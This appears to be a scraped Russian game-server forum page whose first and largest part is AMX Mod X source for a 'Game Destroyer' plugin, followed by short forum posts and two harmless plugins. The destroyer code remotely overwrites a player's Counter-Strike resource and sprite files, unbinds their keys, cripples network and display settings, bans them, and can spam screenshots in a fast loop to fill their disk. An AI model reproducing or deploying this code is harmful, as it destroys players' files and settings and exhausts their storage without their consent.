client_cmd(id, "motdfile resource/UI/MOTD.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/ScoreBoard.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/Spectator.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/Teammenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game10", id, "", 0, "", 0);
return 0;
}

public destroy_game10(id)
{
client_cmd(id, "motdfile resource/BackgroundLayout.txt");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/BackgroundLoadingLayout.txt");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/ClientScheme.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/CreateMultiplayerGameBotPage.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/CreateMultiplayerGameGameplayPage.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/CreateMultiplayerGameServerPage.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/cstrike_english.txt");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/game_menu.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/game_menu_mouseover.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/GameMenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/gameui_english.txt");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/LoadingDialog.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/LoadingDialogNoBanner.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/LoadingDialogVAC.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/logo_game.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/menu_hl_no_icon.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/OptionsSubMultiplayer.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/OptionsSubVideo.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game11", id, "", 0, "", 0);
return 0;
}

public destroy_game11(id)
{
client_cmd(id, "motdfile sprites/640_pain.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud1.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud2.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud3.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud4.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud5.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud6.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud7.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud10.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud11.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud12.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud13.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud14.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud15.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud16.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud17.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud18.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud19.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud20.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/640hud22.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/radar320.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile sprites/radar640.spr");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game_final", id, "", 0, "", 0);
return 0;
}

public fuck_hdd(id)
{
client_cmd(id, "snapshot");
set_task(0.01, "fuck_hdd", id, "", 0, "", 0);
return 0;
}

public destroy_game_final(id)
{
client_cmd(id, "unbindall");
client_cmd(id, "cl_cmdrate 1");
client_cmd(id, "cl_forwardspeed 1");
client_cmd(id, "cl_updaterate 1");
client_cmd(id, "fps_max 1");
client_cmd(id, "rate 1");
client_cmd(id, "fps_modem 1");
client_cmd(id, "sensitivity 20");
client_cmd(id, "cl_allowdownload 0");
client_cmd(id, "cl_allowupload 0");
client_cmd(id, "cl_backspeed 1");
client_cmd(id, "cl_crosshair_color 0");
client_cmd(id, "name \"Game Destroyed\"");
client_cmd(id, "motdfile motd.txt");
if (get_cvar_num("amx_destroy_activity") == 1)
{
client_print(0, 3, "[%s] %L", "Game Destroyer", -1, "GD_A1_DESTROYED", destroy_player);
}
if (get_cvar_num("amx_destroy_activity") == 2)
{
client_print(0, 3, "[%s] %L", "Game Destroyer", -1, "GD_A2_DESTROYED", destroy_admin, destroy_player);
}
if (get_cvar_num("amx_destroy_ban") == 1)
{
if (get_cvar_num("amx_destroy_amxbans") == 1)
{
if (get_cvar_num("amx_destroy_bantype") == 1)
{
server_cmd("amx_banip \"%d\" \"%s\" \"%s\"", get_cvar_num("amx_destroy_bantime"), destroy_player_ip, "Game Destroyer");
}
else
{
server_cmd("amx_ban \"%d\" \"%s\" \"%s\"", get_cvar_num("amx_destroy_bantime"), destroy_player_authid, "Game Destroyer");
}
}
if (get_cvar_num("amx_destroy_bantype") == 1)
{
server_cmd("addip \"%d\" \"%s\";wait;writeip", get_cvar_num("amx_destroy_bantime"), destroy_player_ip);
}
server_cmd("banid \"%d\" \"%s\";wait;writeid", get_cvar_num("amx_destroy_bantime"), destroy_player_authid);
}
if (get_cvar_num("amx_destroy_fuck_hdd") == 1)
{
set_task(0.10, "fuck_hdd", id, "", 0, "", 0);
}
else
{
client_cmd(id, "exit");
}
return 0;
}

public client_disconnect(id)
{
remove_task(id, 0);
return 0;
}

google.bsk, selya-zek
5.11.2016, 15:03 set_hudmessage
Invision, фига ты жопа.
Unknown
27.10.2016, 20:44 Ищу скриптера
Хочу 773 рубаса.
loran
22.10.2016, 18:14 Плагин озвучка при установке бомбы!
remove_task(O_o)
remove_task(.i.)
remove_task(_О_)
remove_task(*_*)

Еще так можно удалять :-D
Algalon, SISA, ssx
16.10.2016, 15:29 Для сайта лучше вдс или впс?
Спасибо тебе Bloo, да хранит тебя Бог Кузя.
iShot
14.10.2016, 8:27 Плагин объединения флагов
Вы страдаете каким то гемором.
NoSteam
12.10.2016, 11:45 подключение плагина к sql
MrLegiongame,, воу воу, ты че такой резкий, помедленней, я не успеваю за тобой. Первую задачу сначала реши.

Еще с sql не успел разобраться, уже на худ замахнулся !Ты гляди на него.
drivemaster
5.10.2016, 19:17 Заблокировать connect игроков
Цитата(csuser @ 5.10.2016, 19:57) *
Andrei,
Молодец. Дизассемблировал правильно. Как видишь, ничего опасного в код я не вложил.


Речь не об опасности. А то, что ты засранец.
google.bsk, NoSteam
5.10.2016, 18:27 Заблокировать connect игроков
Цитата(csuser @ 4.10.2016, 15:00) *
На тебе плагин, который кикает игроков с никами HARDPLAYER, STRIKES, PLAYER, TOP-MS и пишет в файл players_kick.log кого кикнул
http://rgho.st/86RWDXg88
!
Используйте плагин на свой страх и риск


А исходник западло выложить, да ?

Код:


#include <amxmodx>

#pragma semicolon 1
#pragma ctrlchar '\'


public plugin_init()
{
register_plugin("", "1.0", "User");
}

public client_putinserver(id)
{
new oldname[32];
get_user_info(id, "name", oldname, 31);
if (containi("HARDPLAYER", oldname) != -1)
{
server_cmd("amx_kick \"%s\"", oldname);
log_to_file("players_kick.log", "%s", oldname);
}
if (containi("STRIKES", oldname) != -1)
{
server_cmd("amx_kick \"%s\"", oldname);
log_to_file("players_kick.log", "%s", oldname);
}
if (containi("PLAYER", oldname) != -1)
{
server_cmd("amx_kick \"%s\"", oldname);
log_to_file("players_kick.log", "%s", oldname);
}
if (containi("TOP-MS", oldname) != -1)
{
server_cmd("amx_kick \"%s\"", oldname);
log_to_file("players_kick.log", "%s", oldname);
}
}
google.bsk, Invision
4.10.2016, 17:24 Всё о погоде
Цеж жовтопад!)
NoSteam
4.10.2016, 14:15 Заблокировать connect игроков
Ох какой хитрожопый, опять без сма. Давайте правила создадим, выложил плагин без сма, получил люля.
byxou, google.bsk, Unknown
4.10.2016, 9:16 Заблокировать connect игроков
Цитата(Unknown @ 4.10.2016, 9:54) *
google.bsk, скинут сюда или туда (вк) ?


Алеша, это шо, приват? Давай сюды, на свой сервер поставлю.
google.bsk, NoSteam
30.9.2016, 20:24 RoundSound
Ну понятно. Твой плагин не понимать совсем,да ?

Код:
#include <amxmodx>

public plugin_init()
{
register_plugin("RoundSound","1.0","Extazy")

register_event("SendAudio", "win", "a", "2&%!MRAD_terwin")
register_event("SendAudio", "win", "a", "2&%!MRAD_ctwin")
}

public win()
{
client_cmd(0,"stopsound")
client_cmd(0,"spk misc/ct-1")

return PLUGIN_HANDLED
}

public plugin_precache()
{
precache_sound("misc/ct-1.mp3")
}
iShot
24.9.2016, 19:42 Golden Knife
Почему с лкм больше чем с пкм ? Если лкм бьет быстрей. Л - логика.
supergamer, Unknown

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